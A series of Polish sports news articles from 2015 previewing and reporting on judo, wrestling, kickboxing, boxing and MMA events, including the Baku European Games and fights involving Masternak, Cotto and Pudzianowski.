Brązowej medalistce ubiegłorocznych mistrzostw świata z Czelabińska potrzebne jest przetarcie przed udziałem w Igrzyskach Europejskich. W obecnym sezonie Kłys nie prezentuje tak dobrej formy jak w poprzednim roku, jednak nadal jest czołową postacią polskiej reprezentacji. Wokół judoczki z Rybnika w ostatnich miesiącach narodziło się zamieszanie związane z kwestią trenerską. Ostatecznie po rozmowach z prezesem PZJudo udało się ustalić kompromis. Kłys jest zawodniczką kadry prowadzonej przez Anetę Szczepańską, a nad jej formą czuwa również Artur Kłys. Zamieszanie nie wpłynęło dobrze na dyspozycję zawodniczki, która ma potencjał, aby w Rio de Janeiro sięgnąć po medal. Polka w klasyfikacji olimpijskiej zajmuje wysokie 10. miejsce, co gwarantuje jej start w Brazylii. Po fenomenalnym poprzednim sezonie nadeszła obniżka formy. Weryfikacją możliwości Kłys mają być Igrzyska Europejskie w Baku, do których intensywnie przygotowuje się. Aby być w rytmie judoczka zaliczy jeszcze jeden start – w Grand Prix w Budapeszcie, ale nie będzie tam sama. W zawodach weźmie udział Karolina Pieńkowska, która do Baku się nie wybiera. 21-latka przygotowuje się do lipcowej Uniwersjady w Korei Południowej.

Warto dodać, że pierwsze w historii Igrzyska Europejskie w wykonaniu judoków będą zarazem rywalizacją w mistrzostwach Europy. Powodem takiego stanu rzeczy jest odebranie imprezy Wielkiej Brytanii.  Do Baku wybiera się piętnastoosobowa reprezentacja Polski. Biało – czerwoni intensywnie trenują przed startem w Azerbejdżanie. Reprezentacja Polski mężczyzn obecnie szlifuje formę w Mińsku, gdzie nasi zawodnicy sparują z przeciwnikami z najwyższej półki. 12 czerwca panowie udadzą się na zgrupowanie do Zakopanego.

Wśród naszych zawodników najwyżej stoją akcje Macieja Sarnackiego, który w tym sezonie wygrał zawody na warszawskim Torwarze. Polski judoka utrzymuje dobrą formę od poprzedniego sezonu. Sarnacki jest regularny, skuteczny, ale przytrafiają mu się urazy. Dlatego ważne jest, aby w pełni sił przystępował do kolejnych startów. Wśród pań w tym sezonie imponuje Daria Pogorzelec. Warto zauważyć, że ogromne postępy poczyniła Agata Perenc. Zawodniczka z Rybnika czterokrotnie zdobywała brązowe medale w tym sezonie – Oberwart, Samsun, Zagrzeb i Kluż-Napoca. Warto pamiętać o możliwościach Agaty Ozdoby.

Polacy są na ostatniej prostej przed startem w Baku. Katarzyna Kłys ma przed sobą ostatni sprawdzian formy – Grand Prix w Budapeszcie, gdzie będzie chciała stoczyć jak najwięcej pojedynków, aby wejść we właściwy rytm. Panowie trenują w Mińsku i z nadziejami patrzą w przyszłość. Rywalizacja judoków w Azerbejdżanie odbędzie się w dniach 25-28 czerwca.

KM

Judo Grand Prix: światowe gwiazdy w Budapeszcie

Aż 5 Mistrzów Olimpijskich i 10 Mistrzów Świata wystąpi w ten weekend (13-14 czerwca) wGrand Prix w judo w Budapeszcie. Transmisje na żywo w sobotę i niedzielę od g. 17:00 na antenie FightKlubu. To ostatni sprawdzian przed Igrzyskami Europejskimi połączonymi z Mistrzostwami Europy w Baku.
 
Na liście zgłoszeń do zawodów w węgierskiej stolicy widnieje ponad 400 nazwisk zawodniczek i zawodników z 70 państw. W tym gronie są dwie reprezentantki Polski –Karolina Pieńkowska (-52 kg) i utytułowana Katarzyna Kłys (-70 kg).
 
– Chcę zdobywać doświadczenie oraz punkty do rankingu olimpijskiego. W lipcu czeka mnie uniwersjada w Korei Płd. – powiedziała Karolina Pieńkowska, która w kategorii -52 kg rywalizuje z Agatą Perenc i Zuzanną Pawlikowską. Tylko jedna z polskich zawodniczek wystąpi w Igrzyskach w Rio 2016.
 
Celem brązowej medalistki MŚ 2014 i 2-krotnej Wicemistrzyni Europy Katarzyny Kłys również jest uzyskanie jak największej liczby punktów w Budapeszcie, tym bardziej, że w lipcu nie startuje w Grand Prix w Mongolii i Grand Slamie w Rosji. Będzie przygotowywała się do sierpniowych Mistrzostw Świata w Kazachstanie. Gospodarze liczą na swoje gwiazdy na czele z Miklosem Ungvarim (-81 kg) i Barną Borem ( 100 kg) oraz Evą Csernoviczki (-48 kg) i Abigel Joo (-78 kg).

Zapowiedz:

[kod]

Źródło: materiały prasowe

Na żywo w sobotę: starcie o pas mistrza Europy w wadze junior średniej

W telewizji FightKlub pokażemy kolejny pojedynek o prestiżowy tytuł mistrza Starego Kontynentu, tym razem w kategorii junior średniej. Na gali we włoskiej Brescii o charakterystyczny błękitny pas zawalczą Włoch Orlando Fiordigiglio (21-0, 11 KO) oraz Francuz Cedric Vitu (41-2, 16 KO).Limit 154 funtów to jedna z najlepiej obsadzonych dywizji we współczesnym boksie. Zwycięzca sobotniego pojedynku może uzyskać przepustkę do pojedynków z takimi tuzami, jak bracia Charlo, Demetrius Andrade, Erislandy Lara czy Cornelius Bundrage. Faworytem sobotniej walki wydaje się reprezentujący gospodarzy i niepokonany w 21. walkach Orlando Fiordigiglio. 30-latek z Neapolu był już m.in. mistrzem Unii Europejskiej, więc pełny tytuł EBU jest dla niego naturalny etapem kariery. 29-letni Cedric Vitu po stronie swoich atutów może na pewno zapisać większe doświadczenie (aż 43 walki) oraz odwrotną pozycję. Który z nich będzie górą, przekonamy się w sobotę 13 czerwca. Transmisja od godziny 21:00 wyłącznie w FightKlubie.

Źródło: materiały prasowe

Wymagający Łotysze

Piąta już gala grupy DSF zapowiada się niezwykle ciekawie. We Włocławku odbędzie się finałowy pojedynek turnieju wagi ciężkiej w K-1 oraz mecz Polska – Łotwa w K-1.

Po raz kolejny kickboxing ma podnieść adrenalinę żądnym wrażeń. Tym razem we Włocławku dojdzie do efektywnych i emocjonujących pojedynków. Grupa DSF po raz kolejny zdecydowała się na zorganizowanie meczu z udziałem Polaków, tym razem w rywalizacji z Łotwą. Podczas kwietniowej gali w Warszawie doszło do spotkania z Macedonią, którego poziom był wysoki. Biało-czerwoni pewnie wygrali 3:0 za sprawą Doroty Godziny, Kamila Ruty oraz Łukasza Wichowskiego.

Czy tym razem będzie podobnie? Łotysze rysują się jako przeciwnik, który będzie walczył ambitnie i do samego końca. Tym razem w składzie Polski dojdzie do zmian. W meczu z Łotwą nie zobaczymy Wichowskiego oraz Ruty, a zastąpią ich Arkadiusz Dembiński i Radosław Paczuski. Kolejną walkę w barwach grupy DSF stoczy Dorota Godzina. Posiadaczka mistrzowskiego pasa zmierzy się z Jeleną Ozinską. Dwie piękne panie będą zawzięcie rywalizować, bo mają sobie coś do udowodnienia. Łotyszka chciałaby zrewanżować się Polce, która już kiedyś ją pokonała. Godzina w pojedynkach zawodowych okrzepła i nabrała pewności siebie. Zawodniczka DSF Kickboxing Team jest skuteczna, uważna, a przede wszystkim twarda. Arkadiusz Dembiński z Tom Center Team Piotrków Trybunalski w wadze 86kg spotka się z Reinisem Porozovsem. Polak w swojej karierze sięgnął po brązowy medal mistrzostw Europy. Z kolei jego rywal aż trzykrotnie zajmował trzecie miejsce na mistrzostwach świata. Tym samym przed Dembińskim trudne wyzwanie. W walce wieczoru zaprezentuje się Radosław Paczuski, nowa gwiazda DSF Kickboxing Team. Polak ostatnio imponował formą, co dało mu możliwość sprawdzenia się w rywalizacji z najlepszymi. Mistrz Polski w low kick we Włocławku stanie naprzeciw Artursa Ozolinsa. Łotysz swego czasu był wicemistrzem Europy, z kolei Paczuski w 2013 roku zdobył Puchar Świata K-1. Ozolins to silny zawodnik, który zazwyczaj walczy w wyższej kategorii wagowej. Polak musi uważać na boks Łotysza. Atutem Paczuskiego będzie szybkość i wytrzymałość. Zapowiada się ciekawa rywalizacja, prawdopodobnie bardzo wyrównana – kto wyjdzie z niej zwycięsko?

W finale turnieju wagi ciężkiej spotkają się zawodnicy, którzy awans wywalczyli w kontrowersyjnych okolicznościach. Tomasz Klimiuk pokonał Wojciecha Stawickiego po zaskakującej decyzji sędziego. Z kolei Michał Bławdziewicz dobrze zaczął pojedynek z Patrykiem Proszkiem, a później wyglądał coraz słabiej. Zatem teraz obaj muszą udowodnić, że w finale nie znaleźli się przypadkiem. W extra fight w formule full contact wystąpi Łukasz Wichowski. Jeden z najlepszych specjalistów w Polsce zmierzy się z Piotrem Smoczyńskim. Swoją wartość będzie chciał udowodnić Kamil Ruta, który w K-1 podejmie Patryka Zdrojewskiego z warszawskiej Palestry. Ciekawie zapowiada się starcie Sebastiana Adamskiego i Michała Dykowskiego. Dla obu to szansa, aby na dłużej zawitać w zawodowstwie. Co prawda Adamski stoczył już dwa pojedynki dla grupy DSF, ale nie udało mu się odnieść zwycięstwa. Dykowski zaliczył jeden start zawodowy, który zakończył wygraną.

12 czerwca 2015, Włocławek, gala Grupy DSF – mecz Polska vs Łotwa

KM

Wielki mecz Polska-Łotwa – finałowe odliczanie

To już ostania prosta przed zbliżającą się galą DSF Kickboxing Challenge. W piątek 12 czerwca w Hali Mistrzów skrzyżują swoje rękawice najlepsi kickboxerzy z Polski i Łotwy.

Wieczór wypełni 11 walk, wśród których na specjalne wyróżnienie zasługuje starcie w formule full contact w wadze 81 kg pomiędzy fighterem DSF Team – Łukaszem Wichowskim i zawodnikiem SKKB Politechnika Lublin, Piotrem Smoczyńskim. Chcemy przypomnieć, że Łukasz jest zdobywcą pasa Champion DSF Challenge. Największą atrakcją piątkowych zmagań będzie jednak mecz międzynarodowy Polska-Łotwa, w którym zobaczymy wystąpi dwójka czołowych zawodników DSF Team. Mistrzyni Świata, reprezentantka Polski Dorota Godzina stoczy bój z „podtekstem” z Łotyszką, Jeleną Ozinską. Obie panie miały już okazje spotkać się w ringu. Lepsza wtedy okazała się reprezentantka Polski, która w efektowny sposób znokautowała Jelenę.

""

Wydaje się więc, że ich piątkowy pojedynek zapowiada się bardzo emocjonująco. Drugą niezwykle atrakcyjnie zapowiadającą się walką, będzie pojedynek zawodnika DSF Team, wicemistrza Europy w Muay-Thai, mistrza Polski w K-1 Low Kick, Radosława Paczuskiego z Artursem Ozolinsem, który ma na koncie tytuł mistrza Europy. Tak więc piątkowy wieczór we Włocławku zapowiada się bardzo emocjonująco i miejmy nadzieję, że zapadnie na długo w pamięci fanów sportów walki.

Bilety do kupienia na: eventim, 4bilety, Biletyna, albert, kupbilecik oraz w sprzedaży bezpośredniej w jedynym punkcie we Włocławku: Centrum Rozrywki LUCKY STAR, CH Wzorcownia, bud.D, II p.

Posted in Bez kategorii

Baku – sprawdzian przed Las Vegas?

Czy taki charakter dla polskich zapaśniczek będą miały I Igrzyska Europejskie? Start w Baku jest testem przed mistrzostwami świata, ale zarazem okazją do odniesienia sukcesu. 

A nasze zawodniczki stać na miejsce na podium. W tym sezonie polskie zapaśniczki prezentują równą i stabilną formę. Wystarczy przeanalizować kilka startów, aby przekonać się, że poziom sportowy jest na przyzwoitym poziomie. W dobrej dyspozycji znajdują się Iwona Matkowska (48kg) oraz Katarzyna Krawczyk (55kg). Obie zawodniczki znalazły się w czołówce podczas zawodów Klippan Lady Open i Grand Prix w Paryżu. Matkowska, która trenuje w zespole Grunwaldu Poznań sięgnęła po srebro oraz brąz, z kolei reprezentująca Cement Gryf Poznań Krawczyk zdobyła dwa brązowe krążki. Ponadto, w Paryżu trzecie miejsce wywalczyła Roksana Zasina (53kg). Sprawdzianem dyspozycji dla naszej reprezentacji był występ w Pucharze Świata w Sankt Petersburgu. Polska miała okazję rywalizować z najlepszymi. Biało – czerwone w grupie przegrały z Japonią, Azerbejdżanem i USA, a w potycze o siódme miejsce okazały się lepsze od Szwedek. Doświadczenie obecnego sezonu pokazuje, że Polki wykazują wolę walki i chcą osiągać sukcesy.

Aby realizować postawione cele niezbędnym elementem jest okres przygotowawczy. Reprezentacja Polski kobiet już na początku roku odbyła zgrupowanie w Wiśle. Ważnym testem dla naszych zapaśniczek był pobyt w Mongolii. W Ułan Bator Polki miały okazję szlifować formę podczas ciężkich treningów oraz wymagających sparingów. Nasze zawodniczki wzięły udział w turnieju Mongolia Open, w którym miały okazję zmierzyć się z zapaśniczkami z Japonii, Mongolii, Kazachstanu oraz USA. Srebro trafiło do rąk Moniki Michalik (63kg), brąz wywalczyła Agnieszka Wieszczek – Kordus (69kg). Polki trenowały również w niemieckim Hennef, a ostatnio szlifowały formę w Spale.

Igrzyska Europejskie w Baku będą poważnym sprawdzianem dla naszych zawodniczek. Łatwo o sukces nie będzie, gdyż zapaśniczki zza wschodniej granicy prezentują wysoki poziom. Reprezentantki Rosji i Ukrainy będą niezwykle groźne, a warto pamiętać także o Łotyszkach. Z pewnością o medal może powalczyć doświadczona Monika Michalik. Zawodniczka Grunwaldu jest niezwykle utytułowana. Warto odnieść się do jej sukcesów podczas mistrzostw Europy, gdzie wywalczyła trzy złote, trzy srebrne oraz trzy brązowe medale. Michalik w tym sezonie pokazała, że stać ją na dobre występy. W tegorocznych startach równą formę prezentowała Iwona Matkowska, co daje nadzieję na medal w Azerbejdżanie.  Szansę w Baku dostanie Daria Osocka (75kg), która zdobyła złoty medal podczas młodzieżowych mistrzostw Europy w Wałbrzychu. Zapaśniczka robi ustawiczne postępy i wszyscy z nadzieją patrzą na jej rozwój. Warto pamiętać również o doświadczonej Agnieszce Wieszczek – Kordus.

Igrzyska Europejskie w Baku będą historycznym wydarzeniem. Zawody odbędą się po raz pierwszy. Zarazem będzie to okazja do zapisania się na kartach historii. Nasze zapaśniczki po starcie w Baku czeka kolejny istotny turniej. Walka o kwalifikację olimpijską, czyli start na mistrzostwach świata w Las Vegas.

Kadra Polski na Igrzyska Europejskie w Baku: Iwona Matkowska (48kg), Roksana Zasina (53kg), Katarzyna Krawczyk (55kg), Paulina Grabowska (58kg), Monika Michalik (63kg), Agnieszka Wieszczek-Kordus (69kg), Daria Osocka (75kg).

Igrzyska Europejskie rozpoczą się 12 czerwca, a zakończą 28 czerwca.

KM

Nieudana podróż Masternaka

Miało być inaczej. Mateusz Masternak mógł otworzyć sobie furtkę do walki o mistrzostwo świata, jednak nie udało się. Nie tyle z winy polskiego pięściarza, co w wyniku kontrowersyjnej decyzji sędziów.

„Master” pojechał do Republiki Południowej Afryki, aby skrzyżować rękawice z Johnny’m Mullerem. Rywal Polaka przeważnie walczył u siebie z pozytywnym efektem. Jedyny wyjazd w swojej karierze Muller zanotował do Monte Carlo i nie ma z tego wypadu najlepszych wspomnień. Do tej pory poniósł cztery porażki, wszyscy liczyli, że Masternak będzie autorem kolejnej przegranej zawodnika z RPA.

Polak miał świadomość stawki walki. Doskonale wiedział, że zwycięstwo przybliży go do walki o mistrzostwo świata. Od samego początku dominował, wyprowadzał więcej celnych ciosów i był skuteczniejszy.  W pierwszej odsłonie „Master” dał się zaskoczyć prawym sierpowym, jednak później zachowywał należytą ostrożność. Kolejna runda ułożyła się po myśli Polaka. Intensywna praca sprawiła, że w końcu znalazł doskonałą drogę, aby uszkodzić rywala dwoma sierpami. Masternak był aktywny, a jego rywal powoli siadał. Pierwszy kryzys reprezentant RPA miał w trzeciej rundzie, kiedy Polak trafił kombinacją lewy-prawy. Potężna bomba zrobiła wrażenie na Mullerze, który musiał w narożniku wysłuchać uwag swojego szkoleniowca. Słowa podziałały na zawodnika z RPA. Muller starał się zaskoczyć Masternaka, ale ten kontrował przebieg pojedynku.

Piąta runda była pokazem potencjału byłego mistrza Europy wagi junior ciężkiej. Raz za razem „Master” trafiał rywala. W końcu po lewym prostym Polaka Muller padł na deski. Był w szoku. Zebrał kilka potężnych ciosów, które zrobiły na nim wrażenie i wprawiły w zakłopotanie. Najlepsza okazja, aby wykończyć rywala, jednak w szóstej rundzie reprezentant RPA ruszył do przodu. „Master” musiał się bronić. W siódmej rundzie ponownie dominował Polak, który pokazał swojemu rywalowi, kto rządzi w ringu. Muller był bezradny. Masternak raz za razem słał na szczękę swojego przeciwnika kolejne ciosy. Po kombinacji lewy-prawy Muller znalazł się na deskach. Udało mu się wstać i kontynuować walkę, jednak Polak pokazał, że jest zdecydowanie lepszy. „Master” panował w ringu i słał kolejne ciosy w kierunku zawodnika z RPA. W ósmej rundzie sędzia poprosił o konsultację lekarską, gdyż z  powieki Mullera płynęła krew.

Do końca pojedynku zawodnik gospodarzy utrzymał się na nogach, ale zebrał jeszcze kilka ciosów. Sam starał się trafić Masternaka, jednak Polak skutecznie torpedował jego zapędy. Wydawało się, że po dziesięciu rundach wszystko jest jasne i zwycięzca może być tylko jeden. Dokładnie – wydawało się. Potwierdza się, że można coś widzieć, ale nie zawsze pokrywa się to z opinią innych – zwłaszcza tych, którzy podejmują decyzję. W oczach sędziów triumfował Muller. Dwóch arbitrów punktowało 95:93 dla zawodnika z RPA, jeden widział zwycięstwo „Mastera”. Polak dwa razy posłał rywala na deski, dominował, wyprowadzał celne ciosy, a mimo to przegrał. Sędziowie funkcjonowali w innej rzeczywistości. Prawdopodobnie dojdzie do rewanżowego starcia między Masternakiem i Mullerem.

KM

Cotto utrzymał się na szczycie

Portorykańczyk miał za zadanie pokonać Daniela Geale’a. Miguel Cotto zrealizował plan i obronił tytuł mistrza świata wagi średniej federacji WBC.

Na ringu w Barclays Center doszło do starcia dwóch mocnych pięściarzy. Zarówno Cotto jak i Geale nadal głęboko wierzą w swoje możliwości i chcą utrzymać się na szczycie. Australijczyk w 2014 roku przegrał prestiżowy pojedynek z Gennady’m Gołovkinem, jednym z najlepszych pięściarzy wagi średniej. Ostatnimi czasy forma Geale’a jest niestabilna, a raczej należy powiedzieć, że nie radzi sobie w rywalizacji z utytułowanymi bokserami. Nie inaczej było z Cotto. Portorykańczyk wrócił na właściwą drogę po trudnym dla siebie 2012 roku, kiedy to zanotował dwie porażki. Cotto musiał uznać wyższość Astina Trouta i Floyda Mayweathera Jr. Teraz jest na innym etapie swojej kariery. Nadal jest czołową postacią wagi średniej i nie powiedział jeszcze ostatniego słowa. Cotto i Geale są w podobnym wieku (Portorykańczyk jest rok starszy – 35 lat), ale na zupełnie innym etapie rozwoju swojej przygody z boksem. Na ringu w Nowym Jorku było to nadto widoczne.

Cotto od początku rozdawał karty w tym pojedynku. Mistrz świata WBC konsekwentnie atakował korpus rywala, co przynosiło pożądane efekty. Geale otwierał się i Cotto wykorzystywał okazję. W pierwszej rundzie Australijczyk zaatakował prawym sierpowym, ale odpowiedź Portorykańczyka była natychmiastowa.  Cotto był konsekwentny i ranił kolejnymi sierpami przeciwnika. Geale, który zawsze imponował pracą nóg, tym razem nie wykorzystał tego atutu. Portorykańczyk szybko stopował wszelkie zapędy rywala. Tak naprawdę pojedynek nie rozkręcił się. W czwartej rundzie pięściarze ruszyli na siebie. Nie zawsze byli skuteczni – obaj przestrzelili swoje pierwsze ciosy, a za już chwilę poprawili celowniki. Z tym, że szybszy był Cotto. Lewy sierp Portorykańczyka wpasował się w szczękę Geale’a i ten padł na deski. Australijczyk wstał i kontynuował pojedynek, jednak był w szoku. Cios Cotto zrobił na nim wrażenie, wystarczyło dokończyć dzieła. A mistrz świata WBC to doświadczony pięściarz, który doskonale wie, co należy robić w takich sytuacjach. Cotto doskoczył do rywala i po chwili postawił kropkę nad „i”. Po krótkim prawym Geale po raz drugi padł na deski. Wstał, ale nie był w stanie kontynuować walki.

Czterdzieste zwycięstwo w karierze Cotto okazało się faktem. Po raz trzydziesty trzeci Portorykańczyk zakończył walkę przed czasem. Co dalej? Przed Cotto staną kolejne wyzwania, pytanie – kto będzie kolejnym rywalem mistrza świata WBC? Coraz głośniej mówi się o rywalizacji Portorykańczyka z Giennadijem Gołovkinem.  Możliwe, że Cotto będzie chciał rewanżowej walki z Floydem Mayweatherem Jr. Każdy z tych scenariuszy gwarantuje walkę na najwyższym poziomie. Pytanie – czy Cotto wyjdzie na ring jeszcze w tym roku?

Fot. zdjęcie poglądowe

KM

Polsko-czeczeńska fuzja

Współpraca jest jednym z elementów, który pozwala  rozwijać się i zwiększać własny potencjał. Tą drogą postanowił iść Arrachion Olsztyn – jeden z najlepszych klubów MMA w Polsce.

Nie ulega wątpliwości, że trening czyni mistrza. A trenować wśród najlepszych to marzenie wielu. Istotnym elementem sportów walki jest nieustanna rywalizacja i doskonalenie swoich umiejętności, aby wejść na szczyt. Kolejne litry potu, ogromna ilość sparingów mają na celu jak najlepsze przygotowanie zawodnika do kolejnej walki. Arrachion Olsztyn na mapie polskich klubów MMA stał się miejscem kojarzonym z profesjonalizmem. Z warmińskim teamem związane są takie nazwiska jak Mamed Khalidov, Aslambek Saidov, Karol Celiński czy mistrzyni UFC Joanna Jędrzejczyk. Do miana sławy urosło nazwisko Pawła Derlacza, który trenuje gwiazdy. Małgorzata Bońkowska, Szymon Bońkowski czy Łukasz Porębski również potrafią perfekcyjnie przygotować zawodnika do pojedynku. Jednak Arrachion  nie zamyka się w swoim gronie, ale szuka możliwości zwiększenia swojego kapitału.

Od teraz klub, w którym na co dzień trenuje Mamed Khalidov będzie nazywał się Berkut Arrachion Olsztyn. Dlaczego? Olsztyński team podjął decyzję o fuzji z czeczeńskim Berkut Fight Club Grozny. Ciekawa inicjatywa, która obu stronom ma zapewnić możliwość rozwoju. Nie tylko na gruncie sportowym, ale również organizacyjnym. Z fuzji dwóch zespołów skorzystają zarówno zawodnicy jak i trenerzy. Dla fighterów jest to możliwość wspólnego uczestniczenia w obozach przygotowawczych. Ponadto, pojawia się szansa dostępu do większej ilości sparingpartnerów. Warto zauważyć, że dla polskiego zespołu jest to szansa spotkania się z twardymi fighterami. Powszechnie wiadomo, że zawodnicy ze wschodu należą do kategorii mocnych. Należy podkreślić fakt, że niejako Khalidov i Saidov przy okazji będą mieli okazję współpracować ze swoimi krajanami. Również na poziomie trenerskim pojawia się okazja do wymiany doświadczeń.

Głównym inicjatorem zapoczątkowania współpracy między klubami był Mairbek Khasiev. Właściciel gruzińskiej ekipy nie zamierza poprzestać na tym krokiem. Dla Khasieva zawiązanie współpracy z Arrachionem to dopiero początek. Zamierza on dalej rozwijać swoją potęgę i tworzyć kolejne filie klubu. Na jego celowniku znalazły się Stany Zjednoczone i Tajlandia. Czy Khasiev utworzy swoje mocarstwo?

Nie ulega wątpliwości, że owa inicjatywa jest działaniem, które może przynieść korzyści obu stronom. Potrzeba jest wola wspólnego działa, aby współpraca była aktywna, a nie bierna. Wtedy istnieje duże prawdopodobieństwa osiągnięcia sukces. Khasiev chce dokonać ekspansji swojej marki. Nie ma w tym nic złego. To jego cel, ale przy okazji współpraca drużyny z Groznego i Olsztyna może wydać owoce na polu zyskania doświadczenia przez zawodników i sztab trenerski. Być może w ten sposób na polski rynek trafią kolejni ciekawi fighterzy, którzy podniosą poziom rywalizacji w naszym kraju.

KM

Kadeci robią postępy

Czas biegnie. Turniej za turniejem, jednak są momenty wyjątkowe, kiedy dostrzega się szczególną wartość towarzyszącą wydarzeniom, w których się uczestnicy. W Bielsku – Białej odbędzie się Puchar Europy Kadetów w judo.

Cieszy, że kolejne tego typu zawody odbędą się w Polsce. Do naszego kraju zjadą najsilniejsze ekipy w judo, które postarają się zaprezentować najwyższy poziom. Ale nie tylko to jest powodem radości. Polska staje się krajem, który cieszy się coraz większym zaufaniem światowych władz. Po drugie, nasi kadeci nie są anonimowi i mogą pokusić się o medale. To jest piękne. Fakt, że nie użyczamy tylko przestrzeni, lecz możemy aktywnie uczestniczyć w rywalizacji i żywić nadzieje na sukces.

W tym sezonie siedmioro polskich judoków w kategorii kadetów cieszyło się z wywalczenia miejsca na podium w zawodach międzynarodowych. Bez wątpienia największy sukces odniosła Angelika Szymańska (57kg), która triumfowała w Zagrzebiu. Polka wygrała pięć pojedynków. W jednej z walk spotkała się z utytułowaną Białorusinką Ulyaną Minenkovą. Dobrą formę utrzymuje Barbara Kulik, która stanęła na podium dwukrotnie. W Fuengiroli sięgnęła po srebro, a w Teplicach po brąz. O krok od medalu była w Berlinie, ale ostatecznie nie udało się stanąć na podium. Dobry poziom utrzymuje Maciej Krogulski (73kg). Polski judoka był drugi w Hiszpanii, trzeci we Włoszech, a w Chorwacji uplasował się tuż za podium – był piąty. Z kolei Eryk Ryciak w Kluż-Napoca doszedł do finału, jednak w decydującej walce poległ. Mimo to srebrny medal jest dużym osiągnięciem młodego Polaka. Do grona medalistów w zawodach Pucharu Świata weszli Vannessa Machnicka (52kg) i Iwo Baranowski (81kg), którzy w Hiszpanii stanęli na trzecim miejscu podium. Z kolei Anna Dąbrowska (57kg) zdobyła brąz w czeskich Teplicach. Warto nadmienić, że Polacy zajmowali również punktowane miejsca w zawodach.

Teraz przed naszymi kadetami kolejne wyzwanie. Muszą pokazać się z jak najlepszej strony na własnym terenie. Czy Polacy powtórzą ubiegłoroczny wyczyn? Wtedy wywalczyli sześć medali. Szansę na powtórzenie swojego rezultatu w Bielsku-Białej będzie miała Anna Dąbrowska, która w tym sezonie pokazała już swoje bogate możliwości. Rok temu sięgnęła po srebrny medal, ale nie był to jedyny krążek tego koloru. Drugie miejsce w kategorii 52kg zajęła Klaudia Cieślik. Cztery brązowe medale zdobyli: Julia Kowalczyk -57 kg, Daria Tylmann +70 kg, Jakub Ozimek -90 kg i Bartłomiej Zawadzki +90 kg.

W Bielsku zapowiada się ciekawa rywalizacja, gdyż do Polski przyjadą mocne ekipy. Zgłoszono ponad pięciuset zawodniczek i zawodników z dwudziestu sześciu państw. W Polsce zjawią się Japończycy, którzy na każdych zawodach są w czołówce, a także Francuzi, Gruzini i Ukraińcy, czyli ekipy prezentujące wysoki poziom. Puchar Europy kadetów w Bielsku będzie dobrym przetarciem przed mistrzostwami Europy w Sofii. Polacy będą chcieli poprawić wynik z poprzedniego roku – czy ta sztuka im się uda?

Dwa dni w Bielsku z pewnością przyniosą wiele wrażeń. 6-7 czerwca, Bielsko Biała – Puchar Europy kadetów w judo.

KM

Po medale do Rimini

Puchar Świata w kickboxingu w Rimini – WAKO Bestfighter obchodzi swój jubileusz. Będzie to już dwudziesta edycja zawodów we włoskim mieście. Polacy postarają się, jak zawsze zresztą, o dobry wynik.

Do Rimini wybrała się dwudziestosiedmioosobowa kadra Polski. Mieszanka młodości, polotu i fantazji z doświadczeniem, rutyną i wytrwałością. Ciekawe połączenie, które ma gwarantować sukces. Zresztą należy pamiętać, że z każdych zawodów kadra Polski w kickboxingu zwykła przywozić worek medali.

Kickboxing rozwija się. W Polsce cieszy się coraz większą popularnością i trafia do świadomości społecznej. Nasi zawodnicy są gwiazdami światowego formatu. Jedni odnoszą sukcesy na poziomie amatorskim, inni starają się je łączyć z zawodowstwem, a kolejni zdobywają doświadczenie w Tajlandii.

Zawody w Rimini należą do  prestiżowych i dla wielu są wyzwaniem. To najstarszy i największy turniej na świecie, cieszący się ogromną popularnością. Najliczniej Polacy zaprezentują się w full contact, ale przed naszymi zawodnikami występy w kick light i low kick. Z pewnością z presją startu we Włoszech muszą zmierzyć się debiutanci: Mateusz Parat (67kg) i Michał Grzesiak (91kg). Obaj chcą sprawdzić swoje umiejętności w rywalizacji z fighterami ze świata, jednak zgodnie przyznają, że od medalu uciekać nie będą. Dobre wspomnienia z Włoch ma Mateusz Kubiszyn (86kg), który rok temu triumfował podczas zawodów w Lignano. Polski fighter liczy, że uda mu się powtórzyć sukces i odnieść triumf w Rimini. W tym roku z dobrej strony pokazał się w Dublinie, gdzie sięgnął po brąz. Na zdobycie kolejnych doświadczeń w kategorii 63,5kg liczy Jakub Pokusa. Rok temu w Rimini zajął 5.miejsce podczas mistrzostw świata juniorów. Kandydatami do medalu podczas włoskiego turnieju są Emilia Czerwińska, Jakub Kozera, Wojciech Peryt.

Warto zaznaczyć, że po raz pierwszy w programie włoskiej imprezy znalazła się formuła low kick. Tu należy bacznie obserwować Patryka Zaborowskiego, który walczy o miejsce w kadrze na mistrzostwa świata. Sukces może przybliżyć go do wyjazdu do Serbii.  W low kicku o medalu śmiało mogą myśleć nasze panie: Iwona Nieroda (56kg) i Marta Waliczek (60kg), które prezentują równą formą. W mistrzostwach Polski w Legnicy w K-1 obie sięgnęły po medale, tyle, że innego koloru. Nieroda musiała uznać wyższość Małgorzaty Dymus i zadowoliła się srebrem. Faworytem do  medalu jest Łukasz Kaczmarczyk (71kg), który dobrze wszedł w ten sezon. Polak triumfował w Otwartym Pucharze Bośni i Hercegowiny. Tylko Piotr Wypchał (94kg) będzie rywalizował w kick light. Polak musi na siebie uważać, gdyż wraca po kontuzji. Wypchał naderwał mięsień dwugłowy, jednak na tyle uporał się z kontuzją, że w Rimini może wystąpić.

W Rimini wystartuje dwudziestu siedmiu reprezentantów Polski. Pytanie – ile medali przywiozą? Bo, że przywiozą to wiadomo już przed startem.

KM

Kto dla Pudziana?

Mariusz Pudzianowski ma być jedną z gwiazd gali KSW, która odbędzie się w Londynie. Akcje „Pudziana” po ostatniej walce skoczyły do góry.

Dla wielu były strongman nadal jest celebrytą, który bawi się w mieszane sztuki walki i jego nazwisko ma być magnesem. Warto zauważyć, że z upływem czasu Pudzianowski zaczął robić ustawiczne postępy, które są widoczne.

Gracie w szoku

„Pudzian” dojrzewał i uczył się MMA. Pierwsze walki 38-latka pokazywały, że czeka go dużo pracy. Zarówno pod względem sportowym, technicznym jak i kondycyjnym. „Pudzian”, który wychodził do drugiej rundy wyglądał jakby przerzucił pięć ton węgla w godzinę. Czas pracował na korzyść zawodnika. Raczej on sam wykonał krok, który pomógł mu odnaleźć się w oktagonie. Daleko jeszcze do tego, aby Pudzianowskiego określać mianem fachowca, ale jest już solidnym zawodnikiem. Zaangażował się w treningi i repertuar jego zagrań znacząco powiększył się. W parterze królem nie jest i raczej nie będzie, ale jego postawa w stójce i siła ciosu są atutem.

